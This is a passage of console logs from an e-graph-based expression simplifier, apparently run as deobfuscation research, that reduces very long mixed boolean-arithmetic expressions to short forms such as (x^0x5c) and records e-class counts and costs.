4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 163
Synthesized (cost = 3): (x^0x5c)
====================================================================================================
python3 synth.py --use-constants-harvest
eclasses #: 84
Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 132
Synthesized (cost = 473): ((((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0x2d)+((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 257
Synthesized (cost = 51): ((((((((((((x^0x26)&0x94)*0x67)*0xae)+(-(x^0x26)))*0x67)+0xd)*0x2d)+((((((((((x^0x26)&0x94)*0x67)*0xae)+(-(x^0x26)))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 687
Synthesized (cost = 5): ((x^0x26)^0x7a)
====================================================================================================
eclasses #: 3473
Synthesized (cost = 5): ((x^0x26)^0x7a)
====================================================================================================
eclasses #: 50943
Synthesized (cost = 3): (0x5c^x)
e-graph reset done.
====================================================================================================
python3 synth.py
eclasses #: 84
Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 132
Synthesized (cost = 473): ((((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0x2d)+((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 252
